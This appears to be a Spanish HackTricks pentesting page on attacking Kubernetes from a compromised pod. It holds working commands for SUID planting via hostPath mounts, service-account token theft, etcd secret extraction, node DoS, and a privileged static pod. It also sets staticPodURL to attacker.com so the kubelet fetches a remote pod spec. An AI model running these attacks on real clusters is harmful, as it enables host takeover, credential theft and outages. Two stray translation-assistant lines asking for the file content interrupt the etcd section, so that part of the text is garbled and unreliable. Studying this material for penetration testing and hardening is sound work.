Atacando Kubernetes desde dentro de un Pod

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Pod Breakout

Si tienes la suficiente suerte, puede que seas capaz de escapar de él hacia el node:

Escapar del pod

Para intentar escapar de los pods, es posible que necesites primero escalate privileges; algunas técnicas para hacerlo:

Linux Privilege Escalation - HackTricks

Puedes consultar estos docker breakouts to try to escape para intentar escapar de un pod que hayas comprometido:

Docker Breakout / Privilege Escalation - HackTricks

Abusing writable hostPath/bind mounts (container -> host root via SUID planting)

Si un pod/container comprometido tiene un volumen escribible que se mapea directamente al sistema de archivos del host (Kubernetes hostPath o Docker bind mount), y puedes convertirte en root dentro del container, puedes aprovechar el mount para crear un binario setuid-root en el host y luego ejecutarlo desde allí para obtener root.

Condiciones clave:

  • El volumen montado es escribible desde dentro del container (readOnly: false y los permisos del filesystem permiten escritura).
  • El sistema de archivos del host que respalda el mount no está montado con la opción nosuid.
  • Tienes alguna forma de ejecutar el binario plantado en el host (por ejemplo, SSH/RCE separado en el host, un usuario en el host puede ejecutarlo, u otro vector que ejecute binarios desde esa ruta).

Cómo identificar hostPath/bind mounts escribibles:

  • Con kubectl, comprueba los volúmenes hostPath: kubectl get pod -o jsonpath=‘{.spec.volumes[*].hostPath.path}’
  • Desde dentro del container, lista los mounts y busca host-path mounts y prueba si son escribibles:
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount  # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"

Plantar un setuid root binary desde el contenedor:

# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey"   # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash

Ejecutar en el host para obtener root:

# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p   # -p preserves effective UID 0 in bash

Notas y solución de problemas:

  • Si el mount del host tiene nosuid, los bits setuid serán ignorados. Comprueba las opciones de montaje en el host (cat /proc/mounts | grep ) y busca nosuid.
  • Si no puedes obtener un host execution path, mounts similares con permisos de escritura pueden ser abusados para escribir otros persistence/priv-esc artifacts en el host si el directorio mapeado es crítico para la seguridad (p. ej., añadir una root SSH key si el mount se mapea en /root/.ssh, dejar una unidad cron/systemd si se mapea en /etc, reemplazar un binario propiedad de root en PATH que el host ejecutará, etc.). La viabilidad depende totalmente de qué path esté montado.
  • Esta técnica también funciona con plain Docker bind mounts; en Kubernetes suele ser típicamente un hostPath volume (readOnly: false) o un incorrectly scoped subPath.

Abusar de los privilegios de Kubernetes

Como se explicó en la sección sobre kubernetes enumeration:

Kubernetes Enumeration

Normalmente los pods se ejecutan con un service account token en su interior. Esta service account puede tener algunos privilegios asociados que podrías abusar para moverte a otros pods o incluso escapar a los nodos configurados dentro del cluster. Comprueba cómo en:

Abusing Roles/ClusterRoles in Kubernetes

Abusar de privilegios en la nube

Si el pod se ejecuta dentro de un entorno cloud podrías ser capaz de leak a token from the metadata endpoint y escalar privilegios usándolo.

Buscar servicios de red vulnerables

Como estás dentro del entorno de Kubernetes, si no puedes escalar privilegios abusando de los privilegios de los pods actuales y no puedes escapar del contenedor, deberías buscar servicios potencialmente vulnerables.

Servicios

Para ello, puedes intentar obtener todos los servicios del entorno de kubernetes:

kubectl get svc --all-namespaces

Por defecto, Kubernetes usa un esquema de red plano, lo que significa que cualquier pod/service dentro del cluster puede comunicarse con otros. Las namespaces dentro del cluster no tienen ninguna restricción de seguridad de red por defecto. Cualquiera en una namespace puede comunicarse con otras namespaces.

Escaneo

El siguiente script Bash (tomado de un Kubernetes workshop) instalará y escaneará los rangos IP del cluster de Kubernetes:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Consulta la siguiente página para aprender cómo podrías atacar servicios específicos de Kubernetes para comprometer otros pods/todo el entorno:

Pentesting Kubernetes Services

Sniffing

En caso de que el pod comprometido esté ejecutando algún servicio sensible donde otros pods necesiten autenticarse, podrías ser capaz de obtener las credenciales enviadas por los otros pods mediante sniffing de las comunicaciones locales.

Network Spoofing

Por defecto técnicas como ARP spoofing (y gracias a eso DNS Spoofing) funcionan en la red de kubernetes. Entonces, dentro de un pod, si tienes la NET_RAW capability (que está ahí por defecto), podrás enviar paquetes de red personalizados y realizar ataques MitM vía ARP Spoofing a todos los pods que se ejecutan en el mismo nodo.
Además, si el pod malicioso se está ejecutando en el mismo nodo que el DNS Server, podrás realizar un ataque de DNS Spoofing a todos los pods del cluster.

Kubernetes Network Attacks

Node DoS

No hay especificación de recursos en los manifests de Kubernetes y no se aplican limit ranges para los contenedores. Como atacante, podemos consumir todos los recursos donde se ejecuta el pod/deployment y agotar otros recursos, causando un DoS en el entorno.

Esto puede hacerse con una herramienta como stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Puedes ver la diferencia entre cuando se ejecuta stress-ng y después.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Node Post-Exploitation

Si lograste escape from the container, hay algunas cosas interesantes que encontrarás en el node:

  • El proceso Container Runtime (Docker)
  • Más pods/containers ejecutándose en el node que puedes abusar como este (más tokens)
  • Todo el sistema de archivos y el SO en general
  • El servicio Kube-Proxy escuchando
  • El servicio Kubelet en escucha. Revisa archivos de configuración:
  • Directory: /var/lib/kubelet/
  • /var/lib/kubelet/kubeconfig
  • /var/lib/kubelet/kubelet.conf
  • /var/lib/kubelet/config.yaml
  • /var/lib/kubelet/kubeadm-flags.env
  • /etc/kubernetes/kubelet-kubeconfig
  • /etc/kubernetes/admin.conf –> kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system
  • Otros archivos comunes de kubernetes:
  • $HOME/.kube/config - Configuración de usuario
  • /etc/kubernetes/kubelet.conf- Configuración regular
  • /etc/kubernetes/bootstrap-kubelet.conf - Configuración de bootstrap
  • /etc/kubernetes/manifests/etcd.yaml - Configuración de etcd
  • /etc/kubernetes/pki - Clave de Kubernetes

Find node kubeconfig

Si no puedes encontrar el archivo kubeconfig en alguna de las rutas mencionadas anteriormente, revisa el argumento --kubeconfig del proceso kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Robar secretos

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

El script can-they.sh obtendrá automáticamente los tokens de otros pods y comprobará si tienen el permiso que estás buscando (en lugar de que los busques uno por uno):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

DaemonSets privilegiados

A DaemonSet es un pod que se ejecutará en todos los nodos del cluster. Por lo tanto, si un DaemonSet está configurado con una privileged service account, en TODOS los nodos podrás encontrar el token de esa privileged service account que podrías abusar.

El exploit es el mismo que en la sección anterior, pero ahora no dependes de la suerte.

Pivot to Cloud

Si el cluster está gestionado por un servicio en la nube, normalmente el Node tendrá un acceso diferente al metadata endpoint que el Pod. Por lo tanto, intenta acceder al metadata endpoint desde el node (o desde un pod con hostNetwork en True):

Kubernetes Pivoting to Clouds

Robar etcd

Si puedes especificar el nodeName del Node que va a ejecutar el contenedor, consigue un shell dentro de un Node del control-plane y obtén la etcd database:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Los nodos del plano de control (control-plane) tienen el role master y en clústeres gestionados en la nube no podrás ejecutar nada en ellos.

Leer secretos de etcd 1

Si puedes ejecutar tu pod en un nodo del plano de control usando el selector nodeName en la spec del pod, podrías tener acceso fácil a la base de datos etcd, que contiene toda la configuración para el cluster, incluidos todos los secrets.

A continuación hay una forma rápida y tosca de extraer secrets de etcd si está ejecutándose en el nodo del plano de control en el que estás. Si quieres una solución más elegante que levante un pod con la utilidad cliente etcd etcdctl y use las credenciales del nodo del plano de control para conectarse a etcd dondequiera que esté ejecutándose, consulta this example manifest from @mauilion.

Check to see if etcd is running on the control-plane node and see where the database is (This is on a kubeadm created cluster)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Por favor pega el contenido de src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md que quieres que traduzca al español.

data-dir=/var/lib/etcd

Ver los datos en la base de datos etcd:

strings /var/lib/etcd/member/snap/db | less

Extraer los tokens de la base de datos y mostrar el nombre de la cuenta de servicio

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Mismo comando, pero algunos greps para devolver solo el token predeterminado en el namespace kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

No veo el contenido del archivo src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md. Por favor pega aquí el texto que quieres que traduzca (mantendré intactos los tags, enlaces y paths según tus instrucciones).

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Leer secretos de etcd 2 from here

  1. Crea una instantánea de la base de datos etcd. Consulta this script para más información.
  2. Transfiere la instantánea de etcd fuera del nodo de la forma que prefieras.
  3. Extrae la base de datos:
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
  1. Inicia etcd en tu máquina local y haz que use la snapshot robada:
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'

  1. Listar todos los secrets:
etcdctl get "" --prefix --keys-only | grep secret
  1. Obtener los secfrets:
etcdctl get /registry/secrets/default/my-secret

Persistencia de Static/Mirrored Pods

Static Pods son gestionados directamente por el demonio kubelet en un nodo específico, sin que el API server los observe. A diferencia de Pods que son gestionados por el control plane (por ejemplo, un Deployment); en su lugar, el kubelet vigila cada static Pod (y lo reinicia si falla).

Por lo tanto, los static Pods siempre están ligados a un único Kubelet en un nodo específico.

El kubelet intenta automáticamente crear un mirror Pod en el Kubernetes API server para cada static Pod. Esto significa que los Pods que se ejecutan en un nodo son visibles en el API server, pero no pueden ser controlados desde allí. Los nombres de los Pods tendrán el sufijo del hostname del nodo precedido por un guion.

Caution

El spec de un static Pod no puede referirse a otros objetos del API (p. ej., ServiceAccount, ConfigMap, Secret, etc.). Así que no puedes abusar de este comportamiento para lanzar un pod con un serviceAccount arbitrario en el nodo actual para comprometer el cluster. Pero podrías usar esto para ejecutar pods en diferentes namespaces (por si eso fuera útil por alguna razón).

Si estás dentro del host del nodo puedes hacer que cree un static pod dentro de sí mismo. Esto es bastante útil porque podría permitirte crear un pod en un namespace diferente como kube-system.

Para crear un static pod, la documentación es de gran ayuda. Básicamente necesitas 2 cosas:

  • Configura el parámetro --pod-manifest-path=/etc/kubernetes/manifests en el kubelet service, o en la kubelet config (staticPodPath) y reinicia el servicio
  • Crea la definición del pod en /etc/kubernetes/manifests

Otra forma más sigilosa sería:

  • Modificar el parámetro staticPodURL en el archivo de configuración del kubelet y establecer algo como staticPodURL: http://attacker.com:8765/pod.yaml. Esto hará que el proceso kubelet cree un static pod obteniendo la configuración desde la URL indicada.

Ejemplo de configuración de pod para crear un pod privilegiado en kube-system tomado de aquí:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Eliminar pods + nodos no programables

Si un atacante ha comprometido un nodo y puede eliminar pods de otros nodos y hacer que otros nodos no puedan ejecutar pods, los pods se volverán a ejecutar en el nodo comprometido y podrá robar los tokens que se ejecuten en ellos.
Para más información sigue este enlace.

Herramientas automáticas

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks